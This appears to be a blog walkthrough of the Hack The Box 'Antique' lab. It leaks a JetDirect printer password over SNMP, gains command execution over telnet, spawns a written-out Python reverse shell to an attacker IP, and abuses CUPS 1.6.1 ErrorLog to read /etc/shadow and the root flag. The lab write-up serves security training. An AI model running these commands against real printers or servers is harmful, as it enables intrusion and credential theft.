Antique Machine Walkthrough – Hack The Box

Antique is rated as an easy machine on HTB.

Enumeration

First we grab the .ovpn file for the VPN and connect to the network from our machine: openvpn rofo.ovpn. An initial nmap of the target is next. Then the nmap:

nmap: nmap -sV -open -vvv -oA initial_scan 10.10.11.107

Result is an open port 23/tcp telnet? – unrecognized fingerprint – however reading through the long fingerprint string gives us a clue – it is filled with references to HP JetDIrect.

Which on research is a technology sold by Hewlett-Packard that allows computer printers to be directly attached to a Local Area Network. Considering the name of the machine (Antique) and the fact JetDirect was introduced in March 1991 (with a presumably long history of exploits), this is likely it.

Run a deeper port specific nmap scan on 23 to try get more detailed information.

sudo nmap -Pn -v -sV -sC -sSV –version-intensity 9 –script=banner -oA port_scan 10.10.11.107 -p 23

While that is running a searchsploit JetDirect gives us a bunch of potential exploits.

Searchsploit jetdirect for any exploits we can take advantage of for our target.
Searchsploit jetdirect for any exploits we can take advantage of for our target.

The deeper nmap scan finishes, giving us not much extra to go off in terms of potential versions, although versions aren’t specified in the exploits we do find.

Deeper namp scan of the 23/tcp open telnet port.
Deeper namp scan of the 23/tcp open telnet port.

We’ll run msfconsole and start looking for Metasploit supported JetDirect exploits that we can take advantage of. The most promising hit is HP JetDirect Path Traversal Arbitrary Code Execution – disclosed in 2017. This exploits a path traversal vie JetDirect to gain arbitrary code execution by writing a shell script that is loaded on start-up to /etc/profile.d.

The HP JetDirect Path Traversal exploit supported on Metasploit.
The HP JetDirect Path Traversal exploit supported on Metasploit.

The options are straightforward enough – except I keep getting badValue and noSuchInstance responses. So I’ve either misconfigured something here, am missing something simple, or the target is not reachable for some other reason. Changing the port option in the Metasploit exploit from any value but the default gives us a connection refused error regardless – so we’ll stick with 161 for now.

After trying a number of times, I decide to leave this exploit on the backburner and do some further reading. I’d like to see if I can get it working down the road though, but I’m not sure if I have the correct (default) SNMP port or missing something obvious – so I run another nmap scan with a wider port-range as well as for UDP ports.

sudo nmap -sV 10.10.11.107 -Pn -open -vvv -sU

This finds the port 161/udp. We run a deeper scan to get a more detailed overview of the port.

sudo nmap -sV 10.10.11.107 -Pn -open -vvv -sU -p 161

Open snmp port on the target.
Open snmp port on the target.

I begin research on the next potential attack on the target – the SNMP JetAdmin Device Password Disclosure. By sending SMPT GET requests to a vulnerable printer, the printer will return the hex-encoded device password to the requester. If I can decode this, I could get access to the printer, allowing a remote user to access and change its configuration. The example I’m following online is using the Web32 app snmputil. Let’s try and get it working from Kali. First step is to enumerate the SNMP service using Kali’s snmpwalk command:

snmpwalk -v 2c -c public 10.10.11.107

Running this command responds with the string “HTB Printer”, confirming that it is a JetDirect printer and I’m likely approaching this the right way. Let’s try and send an SMPT request to the printer and see if we can get the device password disclosure mentioned in the exploit details above.

snmpwalk -v 2c -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0 (although just .1 works as it still dumps the response)

Snmpwalk output to the target gives us a hex-encoded password we can decode.
Snmpwalk to the target gives us a hex-encoded password we can decode.

The response post “BITS: ..” followed by a print out of hex values. We pump this into a hex decoder to get readable text – although the first site I used didn’t like it at all. A working conversion gives us what is obviously a correctly decoded password:

Hex to text converter of the output string gives us the printer password.

It’s likely P@ssw0rd@123!!123 – considering the ?? characters following. So now we have a password to the printer – let’s try and connect to it directly. We telnet into the originally scanned open telnet? port 23. And we’re in – pressing ? for help as per the login message.

Here I spend a bit of time trying to output configs, raw ports and any settings that might give me something. However the answer is plainly obvious. The second last parameter allows the execution of system commands ie. exec id. We’ll try running exec as if we’re in a shell. exec id gives us the user: uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin). An exec ls gets us 2 files: telnet.py and user.txt exec cat user.txt gets us the user flag.

Entering the printer and viewing the available commands with the ? command.
Entering the printer and viewing the available commands with the ? command. Followed by ls and cat.

Reverse Shell

Next we go for the system flag using privilege escalation. Sudo -l is locked out by the user lp password. I need to find this or admin credentials in order to dig deeper into the target. exec cat telnet.py to view the file that controls the connection to the printer – I’ll see if I can use this file in the future to establish any kind of privilege escalate or reverse shell if I can’t using purely exec.

I’d like to see if I can initiate a reverse shell, so we establish a listener on our machine:

nc -lvnp 1234

and see if we can connect from the target machine with a shell using python3:

exec python3 -c ‘socket=__import__(“socket”);os=__import__(“os”);pty=__import__(“pty”);s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.5”,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/sh”)’

And it works – we’re connected to our local listener, achieving a reverse shell as the lp user. Now to upgrade it to TTY.

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’

go to /etc to dig around

Do some grep searches of the directory tree for ‘login’ and ‘password’, “admin”:

find . -type f  -exec  grep “rofo” ‘{}’ \; -print

Nothing yet, cat some .conf files, logs, whatever I can find. Run a netstat -ant to see if I can find anything else exploitable running on the machine. There’s something running on localhost port 631. Research shows it’s Internet Printing Protocol (IPP) – standard in mobile and cloud printing. Importantly, it’s based on HTTP, it takes POSTs sent to the server listening on the port. If it’s HTTP and takes POST, does it take GETs?

A curl to 127.0.0.1:631 from the target machine gets a HTML response as if it’s a webpage, so either I work with these requests in the shell or view the service in a browser. Within the curl we see the title <TITLE>Home – CUPS 1.6.1</TITLE>, and a description of CURPs as being a standards-based, open source printing system developed by Apple Inc. for OS X and other UNIX-like operating systems.

Lets search exploits for CUPS 1.6.1:

Searchsploit cups 1.6.1 for any potential attack vectors.
Searchsploit Cups 1.6.1 for any potential attack vectors.

Research online for CUPS 1.6.1 exploit returns a root file read exploit supported by Metasploit, of which a search shows the exploit available. CUPS allows members of the lpadmin group – which we saw in id when connected – to make changes to the cupsd.conf configuration, which can specific an Error Log path. This can be read and is printed as plaintext – so we can read potential login credentials or flags with escalated privileges to root. The Metasploit script requires a SESSION and connection to CUPS – but it’s sitting on our target and unreachable externally.

Cups 1.6.1 Root File Read exploit.
Cups 1.6.1 Root File Read exploit.

Further reading and exploring and I can find the cupsd.conf file in /etc/cups/cupsd.conf – however I don’t have permission to edit it from here. I go reading through the documentation for CUPS and come across a cupsctrl. cupsctl updates or queries the cupsd.conf file for a server. When no changes are requested, the current  configuration values are written to the standard output in the format “name=value”, one per line. Re-reading information on the exploit page details how this can be achieved: Warning: if the user has set up a custom path to the CUPS error log, this module might fail to reset that path correctly. You can specify a custom error log path with the ERROR_LOG datastore option. So we try:

cupsctl ErrorLog=”rofo”

I can see this adds or edits the ErrorLog now appended to the end of the cupsd.conf file. I run it a second time to confirm the value changes.

The ErrorLog value added to the end of the cupsd.conf file as root.
The ErrorLog value added to the end of the cupsd.conf file as root.

Now how do I retrieve this via curl? Further reading on later exploits (specifically CVE-2012-5519) – looking for references to a CUPS error log file – yields the path to the error_log page: /admin/log/error_log. So a curl there is next.

curl 127.0.0.1:631/admin/log/error_log

It does give me a successful response – however looks like it’s looking for something that doesn’t exist (obviously rofoTEST) so the title of the html page return is Not Found.

A curl to the error log file gives us a response - but to a non-existent file.
A curl to the error log file gives us a response – but to a non-existent file.

We’ll set it to the default listed in the Metasploit setting that we couldn’t use from outside the system: /etc/shadow/.

cupsctl ErrorLog=”/etc/shadow/”

This returns the expected output of what must be the file within.

Curl of the error_log when we have a file that exists on the target (Metasploit default shadow).
Curl of the error_log when we have a file that exists on the target (Metasploit default /etc/shadow/).

Next let’s try to find flag.txt or root.txt. After a few directory and file attempts, found it:

Finding the root.txt flag with the root error_log file exploit and curl.
Finding the root.txt flag with the root error_log file exploit and curl.

Leave a comment

Your email address will not be published.